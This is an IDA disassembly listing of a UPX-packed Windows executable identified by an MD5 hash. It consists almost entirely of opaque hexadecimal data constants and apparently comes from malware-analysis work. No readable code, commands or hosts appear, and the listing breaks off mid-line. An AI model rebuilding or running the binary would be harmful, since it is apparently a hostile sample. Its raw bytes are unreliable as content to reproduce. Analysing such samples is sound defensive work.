; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : A1EF2BEF6A3852154B7BB344FBDDCE9F ; File Name : u:\work\a1ef2bef6a3852154b7bb344fbddce9f_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 30900000 ; Section 1. (virtual address 00001000) ; Virtual size : 00004000 ( 16384.) ; Section size in file : 00004000 ( 16384.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 30901000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 1000h dup(0) UPX0 ends ; Section 2. (virtual address 00005000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00005000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 30905000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 0A098B657h, 0FB3FCF30h, 0F6C933FEh, 0F700A025h, 6F873014h dd 0BB65CFCEh, 20DCB1DCh, 63303031h, 67C60366h, 58315A66h dd 0CF137204h, 0CB5DCD25h, 352114EBh, 0EE0BE8BBh, 0D9223745h dd 0BD6D3210h, 89CEC0B5h, 748B9DFDh, 601C3458h, 0D20BC2Eh dd 5CC735B8h, 27B343h, 3DE72705h, 5712365Ah, 0B46F8F1Fh dd 535B42Ch, 173FD860h, 3B692C69h, 58E98AE6h, 325D1B18h dd 8BBC0F33h, 709EABCDh, 0C8B3B004h, 0CC75B9CFh, 0DB2D3445h dd 86C6A210h, 0CF668EE9h, 0A0633845h, 28F60B10h, 203E4538h dd 0EB07DDDEh, 5A4C19CCh, 61DB6833h, 3020098Fh, 89835167h dd 332CEAEFh, 0C8755380h, 2636760h, 53030001h, 0C43E075Fh dd 0C8456666h, 0C480363h, 15B352E7h, 2AC359Ah, 0CFC08F70h dd 0F4B327CFh, 6FF0033Ch, 0F3F96B6Eh, 38147CBBh, 341474BBh dd 0FFB36728h, 0CFCF70CFh, 3F5ACFCFh, 1B3141BDh, 20BA69C9h dd 33CF68BAh, 0F1E932E1h, 0D2B034CAh, 14641A33h, 32D3F028h dd 47C6E33Ah, 95B887CBh, 0BA3160BAh, 2AFACE28h, 0B326E112h dd 442933F0h, 138747CFh, 262CC0D3h, 24BD7676h, 0CAB307h dd 0F36C8F4Ch, 7406F46h, 8DCB345h, 8E691769h, 4DBA72B4h dd 8677EFD4h, 95C33AEFh, 3F949556h, 6DBBF858h, 0FBB5203Ch dd 0EBCFEB81h, 0B3334D94h, 8E3F2AF3h, 3405BE4Dh, 0E667D4E1h dd 0CF5FCFC6h, 69F0B569h, 7DBD2344h, 0F11B2A08h, 0A9F33369h dd 74BAC9C7h, 13DBD425h, 2CB4C82Fh, 0F8F8F8F8h, 0CBBA33DBh dd 71678FCFh, 75BBB4D0h, 45BB663Ch, 30BA6720h, 7C44F0B4h dd 0C0E051BBh, 1C634D8Fh, 0BA23CF32h, 0C7F6BBE8h, 386DB8E8h dd 0EEEF3808h, 3326EFCEh, 6937B822h, 51CBB077h, 353B4C69h dd 0BC364F4Ah, 51DEB3C3h, 5DC23DFFh, 6A3F713Ah, 27787D71h dd 45DD475Eh, 7B546B8Bh, 573017B0h, 37EF36Dh, 0CFF2EBF9h dd 343EBBB5h, 2124863Fh, 0B371F233h, 0A2C033C9h, 3B4C1DA9h dd 0BBBE6987h, 0B65112F2h, 0CB48CD5Ah, 0E8F355F7h, 91541C72h dd 0B95460A6h, 0C8573715h, 54ABF6F8h, 0E8B5F767h, 2E5F3B9Bh dd 0B3304F2Eh, 5830CC55h, 30D29290h, 0C8BB6969h, 0DECB8B06h dd 2FE08DB9h, 0B43FCFB5h, 0F7B31402h, 0BD3E2034h, 13FD29BDh dd 0D40ABB67h, 0CBCECF69h, 0BE3F60D3h, 3097B0DEh, 0B837BA7Ch dd 8E17A8B5h, 0EDDBB3E8h, 51C7DFB5h, 3BE4ADB9h, 0CB56DFB8h dd 38D6BD42h, 8AFFFF77h, 4E5A7957h, 0C05D3475h, 0C6FC85B9h dd 1DC2FD86h, 0A03674F4h, 679916B0h, 6004B2Eh, 33DFD464h dd 0B826BAA7h, 0AF8F7636h, 721FE7DEh, 0AC2DCF03h, 113176BDh dd 7CA8632h, 1D3F508Eh, 82C4ACEh, 5A464536h, 0CB372C74h dd 0AC703A68h, 0D33629ECh, 0C62B06A4h, 5ABC3EE9h, 0E8567100h dd 5C066E68h, 7E37033Dh, 48D67F28h, 2B4530EFh, 37078D09h dd 69AC31A6h, 5CFC37E2h, 21DE8E1h, 247DB369h, 8BB44869h dd 0BBF23539h, 0C07DBB58h, 0F2D43DB1h, 941AF611h, 5630D8BAh dd 0AE6CE4B8h, 74395D37h, 0E75D8666h, 535A6928h, 342737A9h dd 0F6DCEDA0h, 0EB03A0FDh, 2448D08h, 884CA62Ch, 4E6FEAE9h dd 297FFC05h, 8458D435h, 9BF2FC7Eh, 38378F75h, 0C6372867h dd 0DBCEDDFCh, 581D2328h, 663C2998h, 638B9C08h, 707C5830h dd 3FC063A7h, 83956E8Ch, 2ADC6318h, 0E944AD9Bh, 60CCC85Eh dd 636610B4h, 0A62166CBh, 34E80712h, 180B662Eh, 861BA28Ch dd 0E62A5Dh, 0A6C1E5E6h, 0CDCDF1DDh, 0B086B4BAh, 86845A70h dd 0F33337B1h, 120F4715h, 96C86D6Bh, 2024C233h, 0E6FF032Ch dd 89E2C6CFh, 0C7D1A3D0h, 78F2B1C1h, 6230362Bh, 8ACEA49Ah dd 24CB5B5Dh, 86DB8A42h, 661D6CA0h, 67220453h, 283B8807h dd 676702D7h, 5A22B159h, 0EA87EA38h, 3A353C55h, 73BD2E9Fh dd 0E9A28434h, 44B4EEF6h, 3331414h, 2B400879h, 2BCE8D9Dh dd 70CE14F0h, 28792F70h, 873746ECh, 0B6348640h, 0E006651Ch dd 96BD7A67h, 0BA6EF0F3h, 0F67A3883h, 0E74B29A8h, 33587709h dd 2C1030B0h, 955D1353h, 0E66E0D46h, 10133C32h, 51CBAAE9h dd 0DB6F3228h, 2C674829h, 504F5328h, 0F7142454h, 31B92C7Dh dd 887F183Dh, 86F70D0Bh, 0B9D48856h, 1F917CD8h, 8CF30A25h dd 6FE5447Ch, 91DC75E9h, 5A6C3BF0h, 3B323E57h, 84C44D3Ah dd 0E37ACE64h, 354021A0h, 662D5A90h, 70F5CFFh, 752168ADh dd 0A86A60A4h, 0B43D5839h, 5884335Fh, 2FEC7C80h, 6C8F5C1Ch dd 0BACEFDFAh, 0B8843D64h, 71F1B026h, 1AEFBDAFh, 4C181736h dd 3D505ADEh, 0F777E02Ch, 0BA03DE53h, 8380E0Eh, 0D7C6D0E1h dd 0FC79D748h, 752ECF7Ch, 0B336C711h, 58395A4Dh, 8017817h dd 7B75B421h, 8FC6ED10h, 2A340F80h, 0B8D0E067h, 0CB20CB75h dd 1C832F71h, 0E010554Fh, 673934D0h, 9343CACAh, 5879790Dh dd 0C7D13E19h, 0DCEBD0E8h, 220168C6h, 14205A02h, 0B13B63ECh dd 6B6CE974h, 3DF756EBh, 518D9432h, 582B6CD4h, 2956915Eh dd 601611EEh, 0B5FAB9CCh, 0D045F2F9h, 0DA1E5001h, 5D00D133h dd 8FA40706h, 40AB6FF8h, 7B882C03h, 4C3D542Dh, 0FD758873h dd 805740E5h, 353728E3h, 8D822C03h, 7058CFC2h, 58767936h dd 7ACCB0A8h, 3052FFDh, 0C2347674h, 0EE546CACh, 7FD32C0h dd 76380003h, 0B017BC3Fh, 0D0494B29h, 3F01168Bh, 0A731F5B5h dd 3037E038h, 6C20DD0Ch, 0A0C08C83h, 6F3C2166h, 0A951DE48h dd 0C16C9C72h, 826C212Fh, 3C8373A6h, 0BF3AFBDCh, 5E2711C1h dd 0C691C848h, 0B5B9157Bh, 0F2B35D58h, 9E98C8B1h, 0C923405h dd 0A23D0B30h, 324BD82Ch, 0C886203Bh, 78E9585Ah, 0FF507329h dd 90327AF8h, 9E260390h, 32B6A589h, 970D4D33h, 6AF5831h dd 468B1187h, 0A7A68D6h, 2B6A87FCh, 56D40D89h, 5A46B4D0h dd 0A6C41A40h, 94370677h, 6EF850F4h, 0E9A7543Ah, 4A2909C0h dd 921830B4h, 67B080Fh, 0C1EFDEBh, 20CC825Ch, 478DD2A8h dd 315764D4h, 4E603FECh, 3C1DD1C2h, 9C5840D3h, 0E318F03Dh dd 28E8AC57h, 0D51738F9h, 5CB62134h, 0EB3C4A5Eh, 7BF57C00h dd 1D78B6F8h, 1EEB2CE6h, 0C3791FF8h, 7198EE70h, 1729EE74h dd 708C7B5Ch, 2BEE6074h, 3D5306C5h, 0A4872E20h, 0DE86A73Dh dd 0B111A38Fh, 0D84C9CC9h, 261495B0h, 80153630h, 584EAF15h dd 2CAD2C62h, 0A9EE2246h, 0A6C44268h, 7C3ADF2Dh, 7B2E4C5Ah dd 4BF8AC06h, 0A18E7974h, 0F90C0E79h, 0A0D1644Bh, 0EDA2DDFCh dd 0F4AFD914h, 0FF481479h, 67062DDh, 0C8B278FCh, 301253Ch dd 56C4F2F2h, 385C4A32h, 0AAB5E0D8h, 0C41C6E40h, 7F33B46Fh dd 2C39C8ABh, 107D2C64h, 0B3F04F94h, 9005DFDEh, 3858C835h dd 0D4076722h, 67E86B17h, 7C246A44h, 7B44C83Eh, 0ED2CE858h dd 0B6B2F492h, 86D50D44h, 0B11595AFh, 0CFAC7110h, 0D83FCC65h dd 264B6CE6h, 9C60D489h, 5C3EA618h, 0C0DACD05h, 0C8653732h dd 0D4BC3039h, 0F0DC7EF1h, 3CC44568h, 22C7BB7h, 3DBB28C1h dd 0D751ADD0h, 0DFCB54BBh, 670C71CEh, 5458F133h, 478BBB4h dd 0B96048BBh, 8090C47Dh, 8E505295h, 0E86458E8h, 952AFB9Dh dd 0BA31C0AAh, 40532259h, 44DCD19Ch, 0E7003DDDh, 3EB2213Ch dd 5CAAAD2Bh, 99EB2039h, 546DBB7Dh, 6061C8D1h, 58A72428h dd 580A711Ah, 6D9C2B24h, 8A33FAC8h, 5B68E11Ah, 6783E404h dd 0D6DDB32Dh, 0C065699Bh, 44FF4C4Dh, 75CF275h, 61C00E8Ah dd 16360D9h, 0DE23F198h, 0E6E46FE9h, 0EA5A27CAh, 0E0D24FE4h dd 0BDC6547h, 203544F7h dd 0D1432BDBh, 7D478601h, 69ED3E58h, 535CC3Eh, 0DB5E4373h dd 0DF443837h, 8BB63979h, 61277848h, 3F50D761h, 22F85901h dd 3D2476B5h, 3ADB8415h, 9FEDB35Dh, 0D8822381h, 74FE8A3Fh dd 0F21D699Ch, 88865AC9h, 578722F4h, 603CB00Ch, 68626098h dd 604DADE3h, 296D8C1Ch, 0D92157C1h, 67734C10h, 24144CBBh dd 5A07263Ch, 274EF9A8h, 0E5A32AB4h, 0F2B0CFCFh, 2E24B851h dd 4CC70B76h, 0B14B0D9h, 29647430h, 73676B5Fh, 6A6F1E74h dd 0EB66679Ch, 0E4F05044h, 431FB756h, 86126BECh, 2960C08Bh dd 9A306660h, 3F3E479Ch, 0F0A5B4E0h, 279C435h, 580D9D8Ah dd 0CFC03CCAh, 6B1738F7h, 4045D96h, 781E1AFCh, 5685FE45h dd 7C3A3A86h, 282A108Ch, 0B4C86835h, 8837F660h, 1C310B4Fh dd 0C687F70Bh, 30BB3C70h, 0BD613831h, 116F1474h, 0B4E3211Ch dd 33E3265Dh, 73371469h, 4F9B7247h, 0F410378Bh, 0AE0FEB1Fh dd 0F8D40391h, 20D7F1C8h, 0FDB63BB5h, 305E0203h, 226DBB32h dd 93B04208h, 4AF19B03h, 3766783Ch, 0ABF6634Ch, 0C69BE9D1h dd 38752E21h, 0D5D45815h, 0B016843Eh, 0FDF3D730h, 27F1F83Ch dd 5B87218h, 0A9EC5607h, 580DA854h, 0E0748794h, 61C3D7Fh dd 0BCCE7753h, 0A88A957Dh, 0EA24ABB5h, 8F304C64h, 4476FB1h dd 30890391h, 0BF71B49h, 0DE3242F1h, 0BBED46DDh, 1979D1F1h dd 3328F891h, 849C13F7h, 0B462EFF4h, 1F42130Dh, 54C8485Ah dd 0D57B52Bh, 0D123F4DBh, 0D4E6B773h, 5825C25Eh, 58333B44h dd 69E6BA40h, 1D1F1CEBh, 75637763h, 53D8F44Eh, 0BB27FC46h dd 93DD34F2h, 0FE3929h, 949FD767h, 0B2735D7Eh, 7ED383E0h dd 73450BA9h, 583652E7h, 2DB9B06Bh, 15E417A1h, 0D72786EAh dd 0F78324EFh, 0FC2330C2h, 630CC686h, 0A31324Bh, 9D76BEA6h dd 0DD5AB079h, 4935770h, 12442A5Bh, 0EEA7E4F0h, 0CF938D69h dd 0A7C19320h, 864463CCh, 7961B4F6h, 3FE00A49h, 6B861307h dd 6EDC1666h, 26AAB43Ch, 20F2648Eh, 66836EC8h, 95D90B0Eh dd 0B9D83CA9h, 3530DC6Dh, 4DE807CFh, 2FCF15CBh, 93F30A34h dd 0D74473ECh, 67FCBA22h, 0B4CA225Fh, 60EF44F9h, 3A72DA6Eh dd 0F6515EA9h, 5468A80Ch, 5BD8703Ch, 6F5E3ACAh, 2FE837C8h dd 9442C674h, 658A1CEh, 363FDA10h, 0FF63D2DBh, 40911E50h dd 0A073756Fh, 833E8DE6h, 8914031h, 21E68003h, 5D91D9B3h dd 0E6E9320Eh, 0E8FCB01Dh, 5880FDB6h, 0D0939BD8h, 3EF6D0D0h dd 5E4C2168h, 0EC2AE493h, 5C007EFFh, 7562870Dh, 2C3D19E8h dd 465F83B2h, 2A7B2934h, 136D58F5h, 4D9F9423h, 0EE8E5192h dd 0A9692349h, 0E5B33459h, 74E805E8h, 21701C44h, 0AACB11Bh dd 0FD83F3B8h, 7E4E5C9Ah, 6F4008BFh, 936E8789h, 58CC3873h dd 32E72860h, 0C6331002h, 781434F7h, 4908703Bh, 331002h dd 54ED3E1Ch, 18943670h, 54361014h, 282C3670h, 0E08F3724h dd 8096973h, 3C580944h, 53A16C7Eh, 0C594FC0Bh, 0CC367E34h dd 0A3393B7Dh, 68C42CA3h, 0DCDDF93Ah, 0DB9F2286h, 0DC25115Fh dd 2E26AC3Ah, 0E709347Ch, 757CC316h, 0B3B0EA0h, 8667242Dh dd 6A23B828h, 0C079F158h, 2432D3DBh, 14400181h, 2423CE3Ch dd 86312F3Ah, 6E4F94B0h, 3B75BA61h, 0DC08CA6Dh, 2CF2B9Dh dd 7E0A62EBh, 0A7F413DCh, 801C85Eh, 0B815DA6Dh, 370B3B6Dh dd 0CBB057C0h, 5873F85h, 0A96394DCh, 0E633CEC7h, 29CFBC86h dd 0B0F3CE0Ch, 8D42CFCBh, 1752486Eh, 466D9900h, 310F26Fh dd 54F8409Dh, 387F6858h, 34FD86B1h, 613D3AB6h, 5C633B39h dd 5628DC23h, 3F450E45h, 15838552h, 0DA14F853h, 91020DB9h dd 0B48CB3E2h, 73E733CFh, 77D1CBB1h, 87F9BD52h, 6DB76FAFh dd 0FAD74B0Ch, 2843FD44h, 0FF1FA792h, 81B11D87h, 0CF34CD43h dd 0C36FBDCEh, 4F0C9726h, 9D5BC7B8h, 0B2651BBh, 940BBB5Ch dd 930E9AECh, 7EF07490h, 1FAE6746h, 0A052AC67h, 0C8B783EBh dd 151C2369h, 0D26E2ACFh, 45835C66h, 205893DEh, 3CE39617h dd 8EF8DC0Ch, 40B4AEE3h, 395100EEh, 7E3E9928h, 42E60028h dd 60BFB0F9h, 8D482EBAh, 80588A86h, 0B0ECDB3Ah, 3B5787F0h dd 50588033h, 4A80DC7Eh, 2120ECA7h, 5C72C2D5h, 0C4F9808Ah dd 3BB0F62Dh, 656CC7EFh, 1CDF3066h, 7267A380h, 0E0FCD6D4h dd 61F4A8C0h, 0CD2F3C95h, 8AB223Dh, 632423C4h, 66EFC622h dd 323BED83h, 0D808605Ah, 0E235DA6Dh, 4A2C5BA6h, 284430DDh dd 20822139h, 87EDC35h, 302429A8h, 2636E87Fh, 0AFB43E47h dd 445E9A18h, 0F7E5633Dh, 0E881383Dh, 9F22061h, 5F919C7Ch dd 0DD0A5718h, 214EDDB5h, 0EB278466h, 690D862Dh, 0A6DF247Dh dd 0C2DB9235h, 795E1C3Dh, 0DB554536h, 50689BEDh, 0F582D92h dd 0BD77FC2Bh, 3C020068h, 0F05E6A25h, 20ADC151h, 61D02438h dd 8A086B1Dh, 9D6628D7h, 1C628D8h, 0EBDB5F6h, 0EC440D66h dd 0D06B441Ah, 0B4519A3Ch, 86201060h, 2882F9F0h, 6E583338h dd 0F5A8B53Fh, 0F6BB651Fh, 0DCA99AA2h, 661E459Ch, 6566631Ch dd 0B2F59C30h, 3AE61731h, 0A0091662h, 3C343CD5h, 0C23C086Dh dd 3118501Ch, 404FEE63h, 7EEF0E19h, 0C2A4BEE2h, 0D06C2E0Ch dd 65F27B3h, 85C7497Eh, 0C15CB8A7h, 94EE8D5Eh, 3B05584Ah dd 3F561BE8h, 942082A6h, 27907F47h, 0B22C0810h, 44BD774Dh dd 0F183F556h, 0CC09312Eh, 93498166h, 2CEC37C7h, 75D085CFh dd 2F3FCFC6h, 35FDA9ABh, 60503862h, 2A89AD76h, 8D464C3Eh dd 0BE0887B9h, 2233B5DDh, 0F767E03Fh, 0A114A033h, 365E7713h dd 54E84CE4h, 420968ECh, 60D0F8D4h, 1CD874D4h, 80210DCh dd 34C02CBEh, 80C6C4C4h, 5992C9F4h, 2B8F3A4Dh, 0F726F88Eh dd 0BB0580F2h, 80F8D728h, 6E9375A7h, 3E274519h, 5C27599Ah dd 283B2D82h, 94B307A3h, 7D54E478h, 0B1724586h, 50AB38F4h dd 39442448h, 0A88BD09Dh, 0B8334F75h, 4370535Ah, 0CC2791B4h dd 0B32B0823h, 0F0B333D0h, 273D3135h, 176297A5h, 0ECBBF86Fh dd 8C204220h, 0FC08590Dh, 16E60BECh, 0EE08243Eh, 0D14B0069h dd 707C5160h, 0F5A6CB10h, 9BC6C81Ch, 8356F670h, 0A000A5A8h dd 0AF727B71h, 0C464243Dh, 1C375F31h, 0E8962EB1h, 4DB331B4h dd 0F549661Eh, 24F7782Fh, 20EBB01Fh, 62C01533h, 2D5AD06Dh dd 0DFB400B1h, 41FC8F60h, 0F61C0h, 44DA71E0h, 8B3AEB07h dd 0DC754339h, 62E1559Fh, 8C92C463h, 36F5DCC7h, 81080D63h dd 32693FDBh, 0FE05DDADh, 4D588602h, 3B1DB1F6h, 8B1655D2h dd 0C14B1DABh, 0AD7F9C58h, 50898B76h, 43B5C43Dh, 226E44C9h dd 907D1CADh, 17CD79Dh, 0BDD111A9h, 0CD0B8BF6h, 0B2015F1Ch dd 37C09E5Ch, 25DB3C78h, 115C6A01h, 4439FD50h, 0F330F8D5h dd 0E83C37CBh, 30D7F37h, 4658CA74h, 4BAB235Ah, 7021864Bh dd 15CF30FCh, 0C43539CCh, 131305B3h, 30FCDCC0h, 53BDF61h dd 0ABBD7362h, 0D9B12442h, 53CB4D3Bh, 0B5341D8Fh, 0DC432731h dd 0F4BBF81Bh, 0BBD1BB3Ch, 0ED131338h, 6034A26Bh, 6C547FF3h dd 51356068h, 30307953h, 12F01A18h, 7BC16BC1h, 143236C3h dd 1716362h, 0CF311DB0h, 3147CFCFh, 21B3BDC5h, 1ADC6249h dd 0D7C60AD4h, 0D0DAAB79h, 0EB119F8Eh, 2AA5744Eh, 7002516Eh dd 90CFCFCFh, 0AF5A2FB5h, 9A4CFA4h, 0BF1696B4h, 6C2DFE05h dd 823BF995h, 0CF42554Ah, 834FCFCFh, 594A5F7Dh, 1F515C5Ch dd 10001E04h, 5D5F5318h, 59445140h, 0B555C52h, 0CB637D10h dd 79C687CFh, 25061075h dd 5E596739h, 43475F54h, 10647E10h, 19011E05h, 74E595Fh dd 311C2C98h, 71CC343Ch, 0EF0CC3DCh, 39E83087h, 9C883EF8h dd 0DC3FF90h, 44B0A0FFh, 646C5834h, 0CC3FF0Ch, 20100474h dd 96608F38h, 0C070CCC9h, 58445586h, 4D8F4251h, 1E54CD8Bh dd 304A5952h, 8A5B5338h, 465C1E43h, 46465327h, 86F7421Eh dd 374587A7h, 55474747h, 55975C54h, 0EB5F5C3Fh, 46875FC7h dd 5F573Ah, 44435F58h, 0D75B431Eh, 0C655D556h, 43EB8187h dd 58537555h, 5C2E3012h, 435E5554h, 0C687EA51h, 563F83EAh dd 0CF396745h, 0E65B5EDBh, 59CFEAFEh, 57425F1Eh, 5F424430h dd 512F105Ah, 87B60A0Ch, 515BDC55h, 0B3445D3Ch, 1F1E481Dh dd 4B6AEB5Ch, 3E41366Bh, 1B5B1A52h, 0EB5DAD8Fh, 4A324616h dd 4435533Bh, 5E1E405Fh, 535DA6D6h, 436B5927h, 26855B17h dd 48E83B4Eh, 5C454A3Fh, 0B3551D44h, 2D9D5859h, 5B6B27E6h dd 0B0F28ABDh, 0A5678E25h, 0AF597FA1h, 0C6B58F02h, 474830CBh dd 525A1C51h, 0AB301552h, 4C14514Ah, 5156E9EBh, 556D1E98h dd 0EBD76C13h, 5173F2CFh, 56135352h, 5A595857h, 5E5D5C5Bh dd 8FCF41F5h, 0C74287C1h, 48474645h, 71BC4A49h, 75747372h dd 79787776h, 7D7C7B7Ah, 0C2CF58F3h, 61607F7Eh, 67666564h dd 2B6A6968h, 800BAB6Bh, 444458CFh, 1F1F0A40h, 1F3B4315h dd 4E1EA755h, 40C086CBh, 3E0F4058h, 43163F0Dh, 54365E53h dd 565E5916h, 4B4D8719h, 10D0B46h, 44231605h, 0C68BE82Bh dd 68DB3750h, 702010Dh, 0A013198h, 0CBDCBDB0h, 1F000008h dd 30EFEF55h, 0CFEB5FD8h, 36DEFCFh, 0DE8956F9h, 3545BD31h dd 36BACEBBh, 7637A90Ch, 76001C36h, 0CFD8A45Fh, 37B8A904h dd 0DBDDD277h, 64EAD83Ah, 1E575567h, 0C7CEEFCFh, 0F9A9A341h dd 8DCD2231h, 3726CDA1h, 9A5842F1h, 9A56CD72h, 248A20CDh dd 0DFC76B81h, 2AA8992Ch, 0C1A8C3F9h, 4132B638h, 0CB3F20F0h dd 6FA0CF83h, 69A207FBh, 0A482CA6h, 4167D424h, 410A3A4Dh dd 0A3DD8ECBh, 0C1ADC375h, 0C139B934h, 0BE21AC34h, 70AD13CDh dd 0D3C35783h, 0EC2C20C0h, 0D69823Bh, 50DDDFC6h, 3115F9ABh dd 913424E9h, 0AE41FA27h, 0BFA67627h, 5158BD1Bh, 0D22A9DA1h dd 5F5D2DA6h, 182183DDh, 30F86082h, 67EC24A9h, 0EEEF1565h dd 7E22AFDDh, 22A1F094h, 0C7DDA979h, 0F4243064h, 0EDB7FA0Ah dd 41FBDCCDh, 14CF2C0Bh, 0FF2A11D4h, 56BFFDFDh, 835CAFCBh dd 2E0FB11Ch, 0B38880CBh, 6D22FDF3h, 5FAD8298h, 2DFBF986h dd 3B149D15h, 4F54F9CEh, 0A696786Ah, 7C2B24F0h, 0C3DB9719h dd 83C7E9ACh, 26D98AFBh, 4116C404h, 5F3ECCC5h, 0C9CFC746h dd 19DF230Bh, 6F075B76h, 0DC7756EEh, 31269C98h, 0CFDF513Fh dd 0DDCFF587h, 0CDD9DCD9h, 1CD1CC87h, 0CCC5FA31h, 8BCD8FCFh dd 0CCC26ACCh, 0C5CCC7DBh, 0F7E69B9Ah, 699AC904h, 1A1A1584h dd 0A39CF956h, 0D5CF57C0h, 0A087B1A0h, 0F9B353ADh, 0A241FDh dd 6105298Fh, 0DC10CF24h, 3AA5E98Eh, 411AA142h, 95E2DBF8h dd 0D1B0E522h, 0CB76CEAAh, 5F9A62CFh, 0AA1ABD24h, 0BB2289F8h dd 0F3777AAAh, 0EBAB9BAEh, 0CD8F9329h, 0DC10EFCFh, 8DED925Ch dd 0EFAEDDB5h, 0DBB1D892h, 0F8226574h, 1EA62F8Dh, 3922DBBDh dd 0E8CFFD3Bh, 226AAAB5h, 6AAA39ADh, 0E0A6C820h, 8B5F5E12h dd 4F5679CFh, 0B722CECDh, 0A5F26A99h, 0B222B532h, 0C96AA134h dd 0FBEB7057h, 0B587FFC7h, 727D63CFh, 39FFC442h, 0F8632889h dd 3052CECFh, 6B736032h, 0B38FCFD3h, 7F676475h, 60107B62h dd 62777F62h, 1107D71h, 0DB7C27FDh, 71DD52A0h, 3A327D7Eh dd 8625569Bh, 8762876Bh, 9A575B33h, 33E4045h, 0A6DB4486h dd 7D17512Ah, 11680213h, 56E30202h, 1E022F1Ah, 1028E601h dd 3F8F90Ch, 94BB0268h, 0EBDC3743h, 3CCA6AB5h, 343013CFh dd 0EA243A21h, 102B2A95h, 5946E435h, 4F347C30h, 637BEEB8h dd 0A7DF6063h, 27D038B2h, 0B2A1DDC8h, 5E143067h, 5F305430h dd 0EE4330ADh, 0A435C6Eh, 39310044h, 53009BCh, 0F8A6ECF0h dd 371E2D13h, 0B9FF1030h, 389BEA5Ch, 0A3B9EA10h, 0AF67027Ch dd 0A01A3033h, 760B36F1h, 70377713h, 2E76D7CFh, 20363036h dd 0BA252F31h, 3078D0B8h, 7BCFCD7Fh, 67430E1h, 0C24A5A29h dd 182C79D4h, 4415009Fh, 0B5635720h, 0D1B1234Ch, 9E45EF6Ch dd 0C8689h, 376C3430h, 6386A8Dh, 6C8DE742h, 371E7D51h dd 1E083006h, 5DBBAB47h, 792B0007h, 1073DC30h, 49300F30h dd 54530B3Eh, 5DCF1092h, 34EC38C9h, 30CF2670h, 3E30EEEEh dd 23392630h, 31AFC622h, 18701632h, 8F4DF376h, 0BB213329h dd 0E344E95Ch, 0F19C8BD4h, 0AC1AAB40h, 83E8155Bh, 20AF195Dh dd 2B34783Eh, 2DE76D5Dh, 6A642364h, 12695316h, 89CF046Ch dd 75FBF7FFh, 3035B755h, 7820333Bh, 0B3EEF5CFh, 3E882088h dd 185A353Bh, 0D13C0929h, 81CFDC4Fh, 98AB21E0h, 0E97FF030h dd 6D6FC51Eh, 2CDBBAB8h, 0D8AF21F9h, 0A7821E0Ch, 78201B4Dh dd 0C43CE150h, 0D40C5093h, 3C904CA5h, 3C813C90h, 0B002090Bh dd 0B83C9030h, 0C917B470h, 303930CEh, 303733DCh, 7F7024A5h dd 4B36F895h, 8F70404Ch, 0CFF23730h, 2373DCB8h, 3023B548h dd 0D9966B9Bh, 0D439FF23h, 1FC82049h, 3ECECFh, 1328E468h dd 0E338CE70h, 0B4F1E24Dh, 208973B8h, 631CFDEh, 88D4C249h dd 9D103C20h, 25D5373Dh, 3F4F51C2h, 3F3128E8h, 40AF1549h dd 3FB43FB4h, 0CCAE3FA5h, 3230A036h, 5C3FB44Fh, 0B7B49A3Fh dd 98AA307Dh, 0F8BC395Fh, 2F2373EEh, 0FFAF096h, 60685E59h dd 30426010h, 0CB47F76h, 93174EBh, 220C5B02h, 0CB43D25h dd 713245F9h, 9F2C3063h, 0A44B122Ch, 0F636DB31h, 0CFABCFC9h dd 43156C6Ch, 5340596Ch, 0DCB15614h, 0D4CF372Ch, 74556330h dd 57455255h, 450528CAh, 57A94659h, 5A547197h, 62E90345h dd 5F645107h, 43275ED0h, 5DF90F8Bh, 45225F7Ch, 5C516640h dd 27715545h, 2AA1407Fh, 5F184EEBh, 4431453h, 52957330h dd 5146E480h, 49D3030Fh, 76FA106Ah, 55F45D7Ch, 7C11B9Ah dd 42646F21h, 5674951h, 6B477327h, 51016B5Ah, 5F58622Ah dd 3C586435h, 0A957686h, 0EB436624h, 56EA7168h, 7F18E6DAh dd 0A474875h, 0D8E1055Eh, 0C577FF7Bh, 64782EC3h, 0EE4F6064h dd 0C1E15CBh, 10670210h, 3A3D7B7Fh, 46E57B31h, 74AF955Bh dd 347C1D32h, 0FDA48057h, 100A958Eh, 1F284515h, 85855D18h dd 854964C6h, 9E409316h, 0EA852D53h, 1F25B37Ch, 531DF732h dd 0A363EC9Dh, 67F7F942h, 0B5768677h, 0C41B3026h, 9FC654C6h dd 0FBD5BF44h, 435DBD43h, 26995346h, 0FBB5A697h, 33C15947h dd 0DFDEAA59h, 45276F02h, 3330401h, 0F5FF0102h, 900958Ah dd 0E12B0827h, 54293637h, 10203A0h, 0E4B4E400h, 87480571h dd 57CFFA0Ah, 4FADA09Dh, 64767F63h, 75627167h, 2F597D6Ch dd 0F59D861Ch, 0B36CAB5Fh, 4245736Ch, 8A316DF3h, 0A666E942h dd 45626CFEh, 3EE0F3B8h, 0F06590BBh, 3989135Bh, 56544FC9h dd 5E584351h, 5443544Ah, 3C79635Ch, 0F26EF26Bh, 395C3E67h dd 241BA589h, 8F67126Bh, 0DE3D7479h, 10638836h, 10573A73h dd 46D7D546h, 3C9D8DAEh, 0AD021C20h, 54631053h, 20D6E91Fh dd 2A2B5574h, 87034EB7h, 2227131Ch, 54349B3h, 2C0F2B2Ah dd 103F7230h, 0BD5A3D5Bh, 23139C6Bh, 14105D2Bh, 0B0F01C36h dd 74076E25h, 0AEF910BCh db 8Bh ; ‹ db 5Dh, 8Ah, 56h db 1Fh db 57h, 5Dh, 0ACh db 1Ah db 53h, 81h, 0C6h db 